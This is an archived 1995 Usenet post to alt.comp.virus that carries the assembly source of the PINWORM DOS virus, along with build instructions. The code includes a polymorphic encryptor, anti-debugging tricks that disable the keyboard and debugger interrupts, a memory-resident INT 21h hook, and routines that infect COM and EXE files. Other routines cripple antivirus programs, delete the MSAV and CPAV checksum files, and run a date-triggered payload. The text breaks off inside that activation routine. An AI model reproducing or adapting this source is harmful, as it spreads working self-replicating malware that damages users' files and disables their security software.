home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / PINWORM.ASM / partbinary0 < prev   
Encoding:
Internet Message Format  |  1995-10-29  |  23.2 KB

  1. To: joshuaw@pobox.jwu.edu
  2. Subject: (fwd) PINWORM.ASM
  3. Newsgroups: alt.comp.virus
  4.  
  5. Path: paperboy.ids.net!uunet!nntp.crl.com!crl5.crl.com!not-for-mail
  6. From: yojimbo@crl.com (Douglas Mauldin)
  7. Newsgroups: alt.comp.virus
  8. Subject: PINWORM.ASM
  9. Date: 23 Jan 1995 23:31:03 -0800
  10. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  11. Lines: 976
  12. Message-ID: <3g2abn$b7a@crl5.crl.com>
  13. NNTP-Posting-Host: crl5.crl.com
  14. X-Newsreader: TIN [version 1.2 PL2]
  15.  
  16. ;Someone posted somewhere that they needed the pinworm's source code so here
  17. ;it is compliments of THe QUaRaNTiNE: 
  18.  
  19. ;  compile like so:
  20. ;   TASM /m pinworm
  21. ;   Tlink pinworm
  22. ;   --convert to COM--
  23. ;
  24.  
  25. cseg    segment
  26.     assume    cs: cseg, ds: cseg, es: cseg, ss: cseg
  27.  
  28. ; conditional compilation..
  29. SECOND_CRYPT equ 1                      ; use second cryptor?
  30. XTRA_SPACE   equ 1                      ; xtra space to prevent double cryptor?
  31. INCLUDE_INT3 equ 1                      ; include INT 3 in garbage code?
  32.                                         ; (slows the loop down alot)
  33. KILL_AV      equ 1                      ; Kill AVs as executed?
  34. KILL_CHKLIST equ 1                      ; Kill MSAV/CPAV checksum filez?
  35.  
  36.  
  37. ; thingz to change..
  38. kill_date    equ   19                   ; day of the month to play with user
  39. max_exe      equ 4                      ; max exe file size -high byte
  40. msg_filez    equ 17                     ; number of filenames for our msg
  41.  
  42. ; polymorphic engine options..
  43. inc_buf_size equ 20                     ; INC buf
  44. enc_op_bsize equ 36                     ; ENC buf
  45. ptr_buf_size equ 36                     ; PTR buf
  46. cnt_buf_size equ 36                     ; CNT&OP
  47. dj_buf_size  equ 36                     ; DEC&JMP
  48. loop_disp_size equ 20                   ; loop buf range
  49. ;compile and change the below equate to the second byte of the JNZ operand
  50. org_loop equ    8Dh                     ; original JNZ offset
  51.  
  52.  
  53. signal       equ 0FA01h                 ; AX=signal/INT 21h/installation chk
  54. vsafe_word   equ 5945h                  ; magic word for VSAFE/VWATCH API
  55. enc_size equ    offset first_crypt-offset encrypt
  56. enc2_size equ    offset code_start-offset first_crypt
  57. real_start equ    offset dj_buf+3        ; starting location of encryted code
  58.  
  59.  
  60. org    0h                ; hellacious EXE offset calcs if !0
  61. start:
  62.  
  63. ;---- Encryptor/Decryptor Location
  64. ; Each opcode has predefined ranges to move within - once the opcode is
  65. ; determined, it is placed at the decided location within the buffer.
  66. ; 0 bytes constant
  67. ;
  68.     encrypt:
  69.     ptr_buf    db ptr_buf_size-3 dup (90h)
  70.     db    0BEh
  71.     dw    real_start+100h
  72.     encryptor:
  73.     cnt_buf    db cnt_buf_size-3 dup(90h)
  74.     db    0B8h            ; AX:b8
  75.         dw      offset vend-offset dj_buf
  76.     enc_loop:
  77.     loop_disp db loop_disp_size dup(90h)
  78.     inc_buf    db inc_buf_size dup(90h)
  79.     enc_op_buf db enc_op_bsize dup(90h)
  80.     misc_buf dw 9090h
  81.     word_inc db 90h
  82.     dj_buf    db dj_buf_size-3 dup (90h)
  83.     dec    ax
  84.     jnz    enc_loop        ; for orig. only
  85.     ret_byte db 090h        ; C3h or a NOP equiv.
  86. first_crypt:                 ; end of first cryptor
  87.  
  88.  
  89. ;---- Second encryptor
  90. ; Whose only purpose is to tear the shit out of debuggers. It obviously
  91. ; isn't invincible, but will at least keep the lamerz and ignorant morons
  92. ; like Patti Hoffman out of the code.
  93. ;
  94. ; _ Uses reverse direction word XOR encryption
  95. ; _ Uses the following techniques:
  96. ;    _ JMP into middle of operand
  97. ;    _ Replace word after CALL to kill stepping over call
  98. ;    _ Kills INT 1 vector
  99. ;    _ Disables Keyboard via Port 21h
  100. ;    _ Reverse direction encryption prevents stepping past loop
  101. ;    _ Uses SP as a crucial data register in some locations - if
  102. ;      the debugger uses the program's stack, then it may very well
  103. ;      phuck thingz up nicely.
  104. ;    _ Uses Soft-Ice INT 3 API to lock it up if in memory.
  105. ;
  106.     sti                ; fix CLI in garbage code
  107.     db    0BDh            ; MOV BP,XXXX
  108. bp_calc    dw    0100h
  109.         push    ds es                   ; save segment registers for EXE
  110. IF SECOND_CRYPT
  111.         push    ds
  112. dbg1:    jmp    mov_si            ; 1
  113.     db    0BEh            ; MOV SI,XXXX
  114. mov_si:    db    0BEh            ; MOV SI,XXXX
  115. rel2_off dw    offset heap+1000h    ; org copy: ptr way out there
  116.     call    shit
  117. add_bp:    int    19h            ; fuck 'em if they skipped
  118.     jmp    in_op            ; 1
  119.     db    0BAh            ; MOV DX,XXXX
  120. in_op:    in    al,21h
  121.     push    ax
  122.     or    al,02
  123.     jmp    kill_keyb        ; 1
  124.     db    0C6h
  125. kill_keyb: out    21h,al            ; keyboard=off
  126.     call    shit6
  127. past_shit: jmp    dbl_crypt
  128. shit7:
  129.     xor    ax,ax            ;null es
  130.     mov    es,ax
  131.     mov    bx,word ptr es: [06]    ;get INT 1
  132.     ret
  133. shit:
  134.     mov    word ptr cs: add_bp[bp],0F503h ;ADD SI,BP
  135.     mov    word ptr cs: dec_si[bp],05C17h ;reset our shit sister
  136.     ret
  137. shit2:
  138.     mov    word ptr cs: dec_si[bp],4E4Eh
  139.     mov    word ptr cs: add_bp[bp],19CDh ;reset our shit brother
  140.     call    shit3
  141.     jnc    code_start        ;did they skip shit3?
  142.     xor    dx,cx
  143.     ret
  144.     db    0EAh            ;JMP FAR X:X
  145. shit4:
  146.         db      0BAh                    ;MOV DX,XXXX
  147. sec_enc    dw    0
  148.         mov     di,4A4Dh                ;prepare for Soft-ice
  149.     ret
  150. shit3:
  151.         mov     ax,911h                 ;soft-ice - execute command
  152.         call    shit4
  153.         stc
  154.     dec    word ptr es: [06]    ;2-kill INT 1 vector
  155.         push    si
  156.         mov     si,4647h                ;soft-ice
  157.         int     3                       ;call SI execute - DS:DX-garbage
  158.         pop     si
  159.         ret
  160.  
  161. shit6:    mov    byte ptr cs: past_shit[bp],0EBh
  162.     out    21h,al            ; try turning keyboard off again
  163.     ret
  164.  
  165. dbl_crypt:                 ; main portion of cryptor
  166.     mov    cx,(offset heap-offset ret2_byte)/2+1
  167.     call    shit7
  168. dbl_loop:
  169.     jmp    $+3            ; 1
  170.     db    034h            ; XOR ...
  171.     call    shit3            ; nested is the set DX
  172.     xchg    sp,dx            ; xchg SP and DX
  173.     jmp    xor_op            ; 1
  174.     db    0EAh            ; JMP FAR X:X
  175. xor_op:    xor    word ptr cs: [si],sp    ; the real XOR baby..
  176.     xchg    sp,dx            ; restore SP
  177.     call    shit2
  178. dec_si:    pop    ss            ; fuck 'em if they skipped shit2
  179.     pop    sp
  180.         int     3
  181.     xchg    sp,bx            ; SP=word of old int 1 vec
  182.     dec    cx
  183.     mov    es: [06],sp        ; restore int 1 vector
  184.     xchg    sp,bx            ; restore SP
  185.     jnz    dbl_loop
  186. ret2_byte db    90h,90h
  187.  
  188. ;---- Start of another artificial lifeform
  189.  
  190. ENDIF
  191. code_start:
  192. IF SECOND_CRYPT
  193.         pop     ax es                   ; Get port reg bits (ES=PSP)
  194.     out    21h,al            ; restore keyboard
  195. ENDIF
  196.  
  197.         mov     cs: activate[bp],0      ; reset activation toggle
  198.     mov    cs: mem_word[bp],0    ; reset mem. encryption
  199.  
  200.     inc    si            ; SI!=0
  201.     mov    dx,vsafe_word        ; remove VSAFE/VWATCH from memory
  202.     mov    ax,0FA01h        ; & check for residency of virus too
  203.     int    21h
  204.     or    si,si            ; if SI=0 then it's us
  205.     jz    no_install
  206.  
  207.     mov    ah,2ah            ; get date
  208.     int    21h
  209.     cmp    dl,kill_date        ; is it time to activate?
  210.     jnz    not_time
  211.     mov    cs: activate[bp],1
  212.  
  213. not_time:
  214.  
  215.     mov    ax,es            ; PSP segment   - popped from DS
  216.     dec    ax            ; mcb below PSP m0n
  217.     mov    ds,ax            ; DS=MCB seg
  218.     cmp    byte ptr ds: [0],'Z'    ; Is this the last MCB in chain?
  219.     jnz    no_install
  220.     sub    word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB
  221.     sub    word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP
  222.     mov    es,word ptr ds: [12h]    ; get high mem seg
  223.     push    cs
  224.     pop    ds
  225.     mov    si,bp
  226.     mov    cx,(offset vend - offset start)/2+1
  227.     xor    di,di
  228.     rep    movsw            ; copy code to new seg
  229.     xor    ax,ax
  230.     mov    ds,ax            ; null ds
  231.     push    ds
  232.     lds    ax,ds: [21h*4]        ; get 21h vector
  233.     mov    es: word ptr old21+2,ds    ; save S:O
  234.     mov    es: word ptr old21,ax
  235.     pop    ds
  236.     mov    ds: [21h*4+2],es    ; new int 21h seg
  237.     mov    ds: [21h*4],offset new21 ; new offset
  238.  
  239.     call    get_random
  240.     cmp    dl,5
  241.     jle    no_install
  242.     sub    byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem
  243.  
  244. no_install:
  245.  
  246.     xor    si,si            ; null regs..
  247.     xor    di,di            ; some progs actually care..
  248.     xor    ax,ax
  249.     xor    bx,bx
  250.     xor    dx,dx
  251.  
  252.     pop    es ds            ; restore ES DS
  253.     cmp    cs: exe_phile[bp],1
  254.     jz    exe_return
  255.  
  256.     lea    si,org_bytes[bp]    ; com return
  257.     mov    di,0100h        ; -restore first 4 bytes
  258.     movsw
  259.     movsw
  260.  
  261.     mov    ax,100h            ; jump back to 100h
  262.     push    ax
  263. _ret:    ret
  264.  
  265. exe_return:
  266.     mov    cx,ds            ; calc. real CS
  267.     add    cx,10h
  268.     add    word ptr cs: [exe_jump+2+bp],cx
  269.     int    3            ; fix prefetch
  270.     cli
  271.     mov    sp,cs: oldsp[bp]    ; restore old SP..
  272.     sti
  273.     db    0eah
  274. exe_jump dd    0
  275. oldsp    dw    0
  276. exe_phile db    0
  277.  
  278. ;----------------------------------------------------------
  279. ; Infection routine - called from INT 21h handler.
  280. ;    DS:DX=fname
  281. ;      Assumes EXE if first byte is 'M' or 'Z'
  282. ;    Changes/Restores attribute and time/date
  283. ;
  284. ;  If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's
  285. ;  minimum req. memory in the header (0Ah) changed to FFFFh, thus making it
  286. ;  unusable.
  287. ;
  288. infect_file:
  289.  
  290.     mov    di,dx            ; move filename ptr into an index reg
  291.  
  292.     push    ds            ; search for end of filename(NULL)
  293.     pop    es
  294.     xor    ax,ax
  295.     mov    cx,128
  296.     repnz    scasb
  297.  
  298.     cmp    word ptr [di-3],'EX'    ;.eXE?
  299.     jz    is_exec
  300. chk_com: cmp    word ptr [di-3],'MO'    ;.cOM?
  301.     jnz    _ret
  302. is_exec:
  303. IF KILL_AV
  304.         mov     cs: isav,0
  305.     cmp    word ptr [di-7],'VA'    ;*AV.*? CPAV,MSAV,TBAV,TNTAV
  306.     jz    anti_action
  307.     cmp    word ptr [di-7],'TO'    ;*OT.*? F-PROT
  308.     jz    anti_action
  309.     cmp    word ptr [di-7],'NA'    ;*AN.*?
  310.     jnz    name_ok
  311.     cmp    word ptr [di-9],'CS'    ;*SCAN.*?
  312.     jnz    name_ok
  313. anti_action:
  314.     inc    cs: isav        ; set mark for anti-virus kill
  315. name_ok:
  316. ENDIF
  317.     push    ds            ; save fname ptr segment
  318.     mov    es,ax            ; NULL ES  (ax already 0)
  319.     lds    ax,es: [24h*4]        ; get INT 24h vector
  320.     mov    old_24_off,ax        ; save it
  321.     mov    old_24_seg,ds
  322.     mov    es: [24h*4+2],cs    ; install our handler
  323.     mov    es: [24h*4],offset new_24
  324.     pop    ds            ; restore fname ptr segment
  325.     push    es
  326.     push    cs            ; push ES for restoring INT24h later
  327.     pop    es            ; ES=CS
  328.  
  329.     mov    ax,4300h        ; get phile attribute
  330.     int    21h
  331.     mov    ax,4301h        ; null attribs 4301h
  332.     push    ax cx ds dx        ; save AX-call/CX-attrib/DX:DS
  333.     xor    cx,cx            ; zero all
  334.     int    21h
  335.  
  336.     mov    bx,signal
  337.     mov    ax,3d02h        ; open the file
  338.     int    21h
  339.     jc    close            ; if error..quit infection
  340.  
  341.     xchg    bx,ax            ; get handle
  342.  
  343.     push    cs            ; DS=CS
  344.     pop    ds
  345.  
  346. IF KILL_CHKLIST
  347.         call    kill_chklst             ; kill CHKLIST.MS & .CPS filez
  348. ENDIF
  349.     mov    ax,5700h        ; get file time/date
  350.     int    21h
  351.     push    cx dx            ; save 'em for later
  352.  
  353.     mov    ah,3fh            ; Read first bytes of file
  354.     mov    cx,18h            ; EXE header or just first bytes of COM
  355.     lea    dx,org_bytes        ; buffer used for both
  356.     int    21h
  357.  
  358.     call    offset_end        ; set ptr to end- DXAX=file_size
  359.  
  360.     cmp    byte ptr org_bytes,'M'    ; EXE?
  361.     jz    do_exe
  362.     cmp    byte ptr org_bytes,'Z'    ; EXE?
  363.     jz    do_exe
  364.     cmp    byte ptr org_bytes+3,0    ; CoM infected?
  365.     jz    d_time
  366.  
  367.     dec    exe_phile
  368.  
  369.     push    ax            ; save file size
  370.     add    ax,100h            ; PSP in com
  371.     mov    rel_off,ax        ; save it for decryptor
  372.     mov    bp_calc,ax
  373.  
  374.     call    encrypt_code        ; copy and encrypt code
  375.  
  376.     lea    dx,vend            ; start of newly created code
  377.     mov    cx,offset heap+0FFh    ; virus length+xtra
  378.     add    cl,size_disp        ; add random  ^in case cl exceeds FF
  379.     mov    ah,40h
  380.     int    21h            ; append virus to infected file
  381.  
  382.     call    offset_zero        ; position ptr to beginning of file
  383.  
  384.     pop    ax            ; restore COM file size
  385.     sub    ax,3            ; calculate jmp offset
  386.     mov    word ptr new_jmp+1,ax    ; save it..
  387.  
  388.     lea    dx,new_jmp        ; write the new jmp (E9XXXX,0)
  389.     mov    cx,4            ; total of 4 bytes
  390.     mov    ah,40h
  391.     int    21h
  392.  
  393. d_time:
  394.  
  395.     pop    dx cx            ; pop date/time
  396.     mov    ax,5701h        ; restore the mother fuckers
  397.     int    21h
  398.  
  399. close:
  400.  
  401.     mov    ah,3eh            ; close phile
  402.     int    21h
  403.  
  404.     pop    dx ds cx ax        ; restore attrib
  405.     int    21h
  406.  
  407. dont_do:
  408.     pop    es            ; ES=0
  409.     lds    ax,dword ptr old_24_off    ; restore shitty DOS error handler
  410.     mov    es: [24h*4],ax
  411.     mov    es: [24h*4+2],ds
  412.  
  413.     ret                ; return back to INT 21h handler
  414.  
  415. do_exe:
  416.     cmp    dx,max_exe
  417.     jg    d_time
  418.  
  419.     mov    exe_phile,1
  420.  
  421. IF KILL_AV
  422.         cmp     isav,1                  ; anti-virus software?
  423.     jnz    not_av
  424.     mov    word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh
  425.     jmp    write_hdr
  426. not_av:
  427. ENDIF
  428.     cmp    word ptr exe_header[12h],0 ; checksum 0?
  429.     jnz    d_time
  430.  
  431.     mov    cx,mem_word        ; get random word
  432.     inc    cx            ; make sure !0
  433.     mov    word ptr exe_header[12h],cx ; set checksum to!0
  434.     mov    cx,word ptr exe_header[10h] ; get old SP
  435.     mov    oldsp,cx        ; save it..
  436.     mov    word ptr exe_header[10h],0 ; write new SP of 0
  437.  
  438.     les    cx,dword ptr exe_header[14h] ; Save old entry point
  439.     mov    word ptr exe_jump, cx    ; off
  440.     mov    word ptr exe_jump[2], es ; seg
  441.  
  442.     push    cs            ; ES=CS
  443.     pop    es
  444.  
  445.     push    dx ax            ; save file size DX:AX
  446.     cmp    byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+)
  447.     jz    pklited
  448.     cmp    byte ptr exe_header[18h],40h ; 40+ = new format EXE
  449.     jge    d_time
  450.     pklited:
  451.  
  452.     mov    bp, word ptr exe_header+8h ; calc. new entry point
  453.     mov    cl,4            ; *10h
  454.     shl    bp,cl            ;  ^by shifting one byte
  455.     sub    ax,bp            ; get actual file size-header
  456.     sbb    dx,0
  457.     mov    cx,10h            ; divide me baby
  458.     div    cx
  459.  
  460.     mov    word ptr exe_header+14h,dx ; save new entry point
  461.     mov    word ptr exe_header+16h,ax
  462.     mov    rel_off,dx        ; save it for encryptor
  463.     mov    bp_calc,dx
  464.  
  465.     call    encrypt_code        ; encrypt & copy the code
  466.  
  467.     mov    cx,offset heap+0FFh    ; virus size+xtra
  468.     add    cl,size_disp        ; add random ^in case cl exceeds FFh
  469.     lea    dx,vend            ; new copy in heap
  470.     mov    ah,40h            ; write the damn thing
  471.     int    21h
  472.  
  473.     pop    ax dx            ; AX:DX file size
  474.  
  475.     mov    cx,(offset heap-offset start)+0FFh ; if xceeds ff below
  476.     add    cl,size_disp
  477.     adc    ax,cx
  478.  
  479.     mov    cl,9            ; calc new alloc (512)
  480.     push    ax
  481.     shr    ax,cl
  482.     ror    dx,cl
  483.     stc
  484.     adc    dx,ax
  485.     pop    ax
  486.     and    ah,1
  487.  
  488.     mov    word ptr exe_header+4h,dx ; save new mem. alloc info
  489.     mov    word ptr exe_header+2h,ax
  490.  
  491. write_hdr:
  492.     call    offset_zero        ; position ptr to beginning
  493.  
  494.     mov    cx,18h            ; write fiXed header
  495.     lea    dx,exe_header
  496.     mov    ah,40h
  497.     int    21h
  498.  
  499.     jmp    d_time            ; restore shit/return
  500.  
  501.  
  502. ;----------------------------------------------------------
  503. ; Kill CHKLIST.* filez by nulling attribs, then deleting
  504. ; phile.
  505. ;
  506.  
  507. kill_chklst:
  508.     mov    di,2            ; counter for loop
  509.     lea    dx,chkl1        ; first fname to kill
  510. kill_loop:
  511.     mov    ax,4301h        ; reset attribs
  512.     xor    cx,cx
  513.     int    21h
  514.     mov    ah,41h            ; delete phile
  515.     int    21h
  516.     lea    dx,chkl2        ; second fname to kill
  517.     dec    di
  518.     jnz    kill_loop
  519.  
  520.     ret
  521.  
  522. ;----------------------------------------------------------
  523. ; set file ptr
  524.  
  525. offset_zero:                 ; self explanitory
  526.     xor    al,al
  527.     jmp    set_fp
  528. offset_end:
  529.     mov    al,02h
  530. set_fp:
  531.     mov    ah,42h
  532.     xor    cx,cx
  533.     xor    dx,dx
  534.     int    21h
  535.     ret
  536.  
  537. ;----------------------------------------------------------
  538. ; Morph, copy, & crypt
  539. ;
  540. ;  0 bytes constant
  541. ;  0 operands in constant locations
  542. ;
  543. ; ms:
  544. ;   bit 7
  545. ;       6
  546. ;       5
  547. ;       4  - INCREMENT COUNTER OP
  548. ;       3  - 
  549. ;       2  - INCREMENT ENCRYPTOR OP
  550. ;       1  - ADD&SUB|XOR
  551. ;       0  - WORD|BYTE
  552. ;      IF<20-SELECTION BETWEEN JNZ AND JNS
  553. ;      IF<5-DON'T WRITE ENCRYPTION OPS!
  554. ; sec:
  555. ;      IF<=5-use constant NOP instead of random
  556. ;
  557. encrypt_code:
  558.  
  559.     push    bx            ; save the handle
  560.  
  561. ;---- Fill buffer space with garbage bytes
  562.  
  563.     lea    di,encrypt        ; fill buffer /w it
  564.     mov    bp,enc_size+1
  565.     call    fill_buffer
  566.  
  567. ;---- Randomly select between jmp type : JNZ or JNS
  568.  
  569.     call    get_random
  570.     mov    enc_num,dl        ; store ms count for encryption
  571.     mov    mem_word,dx        ; mem cryption too
  572.     mov    size_disp,dl        ; and size displacment
  573.  
  574.     cmp    dl,20h
  575.     jl    jmp_2
  576.     mov    byte ptr jnz_op,75h    ; use jnz
  577.     jmp    jmp_set
  578.     jmp_2:
  579.     mov    byte ptr jnz_op,79h    ; jns
  580.     jmp_set:
  581.  
  582. ;---- Change jump address
  583.  
  584.     cmp    byte ptr jnz_op+1,org_loop+loop_disp_size ; JNX on max offset?
  585.     jnz    inc_jmp_ofs        ; if not then inc the ptr
  586.     mov    byte ptr jnz_op+1,org_loop ; jump to pos X in buffer
  587.     inc_jmp_ofs:
  588.     inc    byte ptr jnz_op+1    ; increment jmp into buffer
  589.  
  590. ;---- Change encryption type randomly between XOR and ADD&SUB
  591.  
  592.     mov    al,04            ; default to encrypting ADD
  593.     mov    enc_type,2Ch        ; and decrypting SUB
  594.     test    dl,00000010b        ; that bit =1?
  595.     jz    use_add_sub
  596.     mov    al,34h            ; encrypting XOR
  597.     mov    enc_type,34h        ; decrypting XOR
  598.     use_add_sub:
  599.  
  600. ;--- Change register used for the counter
  601.  
  602.     cmp    byte ptr count_op,0BBh    ; skip SP/BP/DI/SI
  603.     jnz    get_reg
  604.     mov    byte ptr count_op,0B7h    ; AX-1
  605.     mov    byte ptr dec_op,47h    ; AX-1
  606.     get_reg:
  607.     inc    byte ptr count_op    ; increment to next OP
  608.     inc    byte ptr dec_op        ; ""
  609.  
  610. ;---- Change position of INC XX
  611.  
  612.     mov    di,inc_ptr        ; get new off for INC XX
  613.     cmp    di,inc_buf_size        ; max position?
  614.     jl    good_inc        ; if not..then continue
  615.     mov    inc_ptr,0        ; use offset 1 next run
  616.     xor    di,di            ; use offset 0 this run
  617.     good_inc:
  618.     inc    inc_ptr            ; increment the ptr for next
  619.  
  620. ;---- Toggle between SI and DI
  621.  
  622.     cmp    byte ptr ptr_set,0BEh    ; using SI?
  623.     jz    chg_di            ; if so, then switch to DI
  624.     mov    byte ptr inc_buf[di],46h ; write INC SI
  625.     dec    byte ptr ptr_set    ; decrement to SI
  626.     jmp    done_chg_ptr
  627.     chg_di:
  628.     mov    byte ptr inc_buf[di],47h ; write INC DI
  629.     inc    byte ptr ptr_set    ; increment to DI
  630.     inc    byte ptr enc_type    ; increment decryptor
  631.     inc    ax            ; increment encryptor
  632.     done_chg_ptr:
  633.  
  634. ;---- Select word or byte encryption
  635.  
  636.     mov    w_b,80h            ; default to byte cryption
  637.     test    dl,00000001b        ; use word?
  638.     jz    use_byte
  639.     mov    w_b,81h            ; now using word en/decryptor
  640.     mov    ch,byte ptr inc_buf[di]    ; get INC op
  641.     mov    byte ptr word_inc,ch    ; write another one
  642.     use_byte:
  643.  
  644. ;---- Increment counter value
  645.  
  646.     cmp    byte ptr crypt_bytes,0Fh ; byte count quite large?
  647.     jnz    inc_cnt            ; if not..increment away
  648.     mov    crypt_bytes,offset vend    ; else..reset byte count
  649.     inc_cnt:
  650.     inc    crypt_bytes        ; increment byte count
  651.  
  652.  
  653. ;---- Set DEC XX /JNS|JNZ operands
  654.  
  655.     mov    di,dec_op_ptr
  656.     cmp    di,dj_buf_size-2
  657.     jl    good_dec_op
  658.     mov    dec_op_ptr,0
  659.     xor    di,di
  660.     good_dec_op:
  661.     inc    dec_op_ptr
  662.     no_inc_dec_op:
  663.     add    di,offset dj_buf
  664.     lea    si,dec_op
  665.     movsw
  666.     movsb
  667.     inc    di            ;word align
  668.     add    rel_off,di        ;chg offset for decryption
  669.     push    di            ;save offset after jmp
  670.  
  671. ;---- Set MOV DI,XXXX|MOV SI,XXXX
  672.  
  673.     mov    di,ptr_op_ptr
  674.     cmp    di,ptr_buf_size-3
  675.     jl    good_ptr_op
  676.     mov    ptr_op_ptr,0
  677.     xor    di,di
  678.     good_ptr_op:
  679.     test    dl,00001000b
  680.     jz    no_inc_ptr_op
  681.     inc    ptr_op_ptr
  682.     no_inc_ptr_op:
  683.     add    di,offset ptr_buf
  684.     lea    si,ptr_set
  685.     movsw
  686.     movsb
  687.  
  688. ;---- Set MOV AX|BX|DX|CX,XXXX
  689.  
  690.     mov    di,count_op_ptr
  691.     cmp    di,cnt_buf_size-3
  692.     jl    good_count_op
  693.     mov    count_op_ptr,0
  694.     xor    di,di
  695.     good_count_op:
  696.     test    dl,00010000b
  697.     jz    no_inc_count_op
  698.     inc    count_op_ptr
  699.     no_inc_count_op:
  700.     add    di,offset cnt_buf
  701.     lea    si,count_op
  702.     movsw
  703.     movsb
  704.  
  705. ;---- Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX
  706.  
  707.     mov    di,enc_op_ptr
  708.     cmp    di,enc_op_bsize-5
  709.     jl    good_enc_ptr
  710.     mov    enc_op_ptr,0
  711.     xor    di,di
  712.     good_enc_ptr:
  713.     test    dl,00000100b
  714.     jz    no_inc_enc_ptr
  715.     inc    enc_op_ptr
  716.     no_inc_enc_ptr:
  717.     add    di,offset enc_op_buf
  718.     mov    bx,di            ; BX points to encrytor pos.
  719.     lea    si,seg_op
  720.     movsw
  721.     movsw
  722.  
  723. ;---- FiX second cryptor offset
  724.  
  725. IF SECOND_CRYPT
  726.     mov    rel2_off,offset heap    ;first gen has mispl. off
  727. ENDIF
  728.  
  729. ;---- Copy virus code along with decryptor to heap
  730.  
  731.     mov    cx, (offset heap-offset start)/2+1
  732.     xor    si,si
  733.         lea     di,vend                 ; ..to heap for encryption
  734.     rep    movsw            ; make another copy of virus
  735.  
  736. IF SECOND_CRYPT
  737. ;---- Call second encryptor first
  738.  
  739.     mov    si,offset vend        ; offset of enc. start..
  740.     add    si,offset heap        ; ..at end of code
  741.     mov    ret2_byte,0C3h
  742.     xor    bp,bp
  743.     push    ax bx
  744.     call    dbl_crypt
  745.     pop    bx ax
  746.     mov    ret2_byte,90h
  747. ENDIF
  748.  
  749. ;---- Set ptr to heap for encryption
  750.  
  751.     pop    si            ; pop offset after jmp
  752.     add    si,offset vend        ; offset we'z bez encrypting
  753.     mov    di,si            ; we might be using DI too
  754.  
  755. ;---- Encrypt the mother fucker
  756.  
  757.     mov    ret_byte,0C3h        ; put RET
  758.     mov    byte ptr [bx+2],al    ; set encryption type
  759.     call    encryptor        ; encrypt the bitch
  760.  
  761.     pop    bx            ; restore phile handle
  762.     ret                ; return
  763.  
  764. ;-----------------------------------------------
  765. ; Fill buffer with random garbage from table
  766. ;  DI=off BP=size
  767. ;  ret: BL=last garbage byte
  768. ;
  769. ;  Decently random..relies on previously encrypted data and MS from clock
  770. ;  to form pointer to the next operand to use..
  771. ;
  772. ;
  773. fill_buffer:
  774.     add    bl,dl            ; previous NOP+previous NOP off
  775.     call    get_random
  776. IF SECOND_CRYPT
  777.         mov     byte ptr sec_enc,cl     ; use CL\DL for 2nd encryptor
  778.     mov    byte ptr sec_enc+1,dh
  779. ENDIF
  780.     cmp    dh,5            ; use random NOPs or constant NOP?
  781.     jg    use_rand
  782.     xor    dx,dx
  783.     jmp    constant
  784. use_rand:
  785.     add    dl,byte ptr vend+200h[di] ; encrypted byte somewhere..
  786.     sub    dl,bl
  787.     and    dl,00001111b        ; extract lower nibble
  788.     xor    dh,dh
  789. constant: mov    si,dx            ; build index ptr
  790.     mov    bl,byte ptr [nops+si]    ; get NOP from table
  791.     mov    byte ptr [di],bl
  792.     inc    di            ; increment buffer ptr
  793.     dec    bp
  794.     jnz    fill_buffer        ; loop
  795.     ret
  796. ;--------------------------
  797. ; get time man - and use it as semi-random word
  798. ;
  799. get_random:
  800.     mov    ah,2ch            ; get clock
  801.     int    21h
  802.     ret
  803.  
  804. ;----------------------------------------------------------
  805. ; Associated bullshit
  806. ;
  807. credits    db    ' _ PI_W_rM_v1.00 - Coded by _irogen in April 1994'
  808. chkl1    db    'CHKLIST.MS',0        ; MSAV shitty checksum
  809. chkl2    db    'CHKLIST.CPS',0        ; CPAV shitty checksum
  810. pin_dir    db    255,'PI_W_rM._g!',0    ; DIR created
  811. root    db    '..',0            ; for changing to org. dir
  812. file1   db      'I_hope_y',0            ; filez created in dir..
  813.     db    'ou_have_',0        ; must be 8 chars each+null
  814.     db    'enjoyed_',0        ; (255 not space)
  815.     db    'your_inf',0
  816.     db    'estation',0
  817.     db    '_by_the_',0
  818.     db    'mighty P',0
  819.     db    'inworm p',0
  820.     db    'arasite╖',0
  821.     db    '╖╖╖╖╖╖╖╖',0
  822.     db    'Fuck_you',0
  823.     db    'all!____',0
  824.         db      '-_irogen',0            ; #13
  825. new_jmp db      0E9h,0,0,0              ; jmp XXXX ,0 (id)
  826. inc_ptr    dw    0            ; ptr to location of INC
  827. enc_op_ptr dw    0            ; actual ENC op ptr
  828. ptr_op_ptr dw    0            ; ptr to ptr set pos
  829. count_op_ptr dw    0            ; ptr to counter reg pos
  830. dec_op_ptr dw    1            ; ptr to decrement counter op pos
  831. activate db    0
  832. isav    db    0
  833.  
  834. seg_op    db    2Eh            ; CS
  835. w_b    db    80h            ; byte=80h word=81h
  836. enc_type db    2Ch            ; SUB BYTE PTR CS:[SI],XXXX ;XOR/34
  837. enc_num    db    0
  838.  
  839. ptr_set    db    0BEh            ; MOV SI,XXXX
  840. rel_off    dw    real_start+100h
  841.  
  842. count_op db    0B8h            ; CX:B9 AX:b8
  843. crypt_bytes dw  offset vend-offset dj_buf
  844.  
  845. dec_op:    dec    ax            ; DEC AX|BX|CX|DX
  846. jnz_op:    db    75h,org_loop
  847.  
  848. nops:   nop                             ; 1 byte garbage OPs.. must be 16
  849. IF INCLUDE_INT3
  850.         int     3
  851. ELSE
  852.         cld
  853. ENDIF
  854.     into
  855.     inc    bp
  856.     dec    bp
  857.     cld
  858.     nop
  859.     stc
  860.     cmc
  861.     clc
  862.     stc
  863.     into
  864.     cli
  865.     sti
  866.     inc    bp
  867. IF INCLUDE_INT3
  868.         int     3
  869. ELSE
  870.         nop
  871. ENDIF
  872.  
  873.  
  874. ;----------------------------------------------------------
  875. ; activation routine
  876. ;
  877. act_routine:
  878.     push    ax bx cx ds dx bp es cs
  879.     pop    ds
  880.     mov    activate,0        ;we're in work now..
  881.     lea    dx,pin_dir        ;create our subdirectory
  882.     mov    ah,39h
  883.     int    21h
  884.     mov    ah,3bh            ;change to our new subdirectory
  885.     int    21h
  886.  
  887.     lea    dx,file1        ;offset of first filename
